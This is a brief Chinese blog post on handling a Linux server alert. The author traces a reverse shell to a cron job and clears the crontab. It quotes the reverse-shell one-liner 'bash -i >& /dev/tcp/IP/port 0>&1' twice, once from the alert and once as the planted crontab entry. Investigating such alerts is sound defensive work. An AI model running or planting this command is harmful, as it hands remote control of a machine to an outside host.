这个屌丝很懒，什么也没留下！

linux服务器告警反弹shell行为_反弹shell事件上报

作者：繁依Fanyi0 | 2024-04-28 02:35:19

客户今天持续收到服务器告警，给出了可以参数信息

检测说明：进程sh的启动参数为 /bin/sh -c bash -i>& /dev/tcp/服务器iP/端口 0>&1，符合可疑进程参数的特性.

告警说明：Linux反弹shell行为

crontab -l

发现有记录 * * * * * bash -i >& /dev/tcp/服务器iP/端口 0>&1

cat /var/log/cron | grep /dev/tcp/服务器iP/端口

再去看cron日志，果然一分钟一次

crontab -e

果断将里面的内容清空，到此告警消失

声明：本文内容由网友自发贡献，转载请注明出处：【wpsshop】